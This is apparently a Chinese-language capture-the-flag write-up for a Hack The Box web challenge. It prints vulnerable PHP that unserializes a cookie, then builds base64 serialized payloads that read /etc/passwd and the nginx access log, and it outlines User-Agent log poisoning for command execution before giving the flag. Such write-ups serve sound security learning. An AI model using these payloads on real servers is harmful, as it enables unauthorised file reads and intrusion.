# 信息收集
查看源代码发现 cookie
是 page
通过序列化后 base64 加密生成生成的
<?php | |
spl_autoload_register(function ($name){ | |
if (preg_match('/Model$/', $name)) | |
{ | |
$name = "models/${name}"; | |
} | |
include_once "${name}.php"; | |
}); | |
if (empty($_COOKIE['PHPSESSID'])) | |
{ | |
$page = new PageModel; | |
$page->file = '/www/index.html'; | |
setcookie( | |
'PHPSESSID', | |
base64_encode(serialize($page)), | |
time()+60*60*24, | |
'/' | |
); | |
} | |
$cookie = base64_decode($_COOKIE['PHPSESSID']); | |
unserialize($cookie); |
那么我们可以通过反序列化后 base64 加密尝试读取敏感信息
# 构造攻击
先抓包看看 cookie
GET / HTTP/1.1 | |
Host: 157.245.33.77:32689 | |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Connection: close | |
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9 | |
Upgrade-Insecure-Requests: 1 | |
Pragma: no-cache | |
Cache-Control: no-cache |
把 cookie 解码
#base64: | |
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9 | |
#解码后:O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";} |
构造一下敏感目录
构造:O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";} | |
base64加密: | |
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30= |
得到回显的用户目录,说明有一个任意文件读取的漏洞,但目前我们不知道 flag 在哪里,需要再找组合漏洞
检查 /etc/passwd
发现有 nginx
用户
那么我们可以尝试访问 nginx 的日志文件
构造: | |
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";} | |
base64编码: | |
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ== |
发现是能访问到的,而且还记录了 user-agent
, 那么我们直接修改 User-Agent
,进行命令执行
但是他妈的不知道为什么 nginx 记录不到数据了狗日的
这个 nginx 记录的问题之前遇到过很多次,可能是通病吧 ==、
flag: HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}